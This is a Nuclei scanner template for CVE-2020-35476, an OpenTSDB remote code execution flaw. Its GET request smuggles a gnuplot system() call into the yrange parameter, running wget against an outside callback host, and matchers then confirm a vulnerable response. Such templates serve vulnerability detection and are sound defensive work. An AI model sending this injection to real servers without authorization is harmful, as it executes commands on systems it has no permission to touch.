id: CVE-2020-35476

info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
  tags: cve,cve2020,opentsdb,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - plotted
          - timing
          - cachehit
        part: body
        condition: and

      - type: word
        words:
          - application/json
        part: header

# Enhanced by mp on 2022/04/28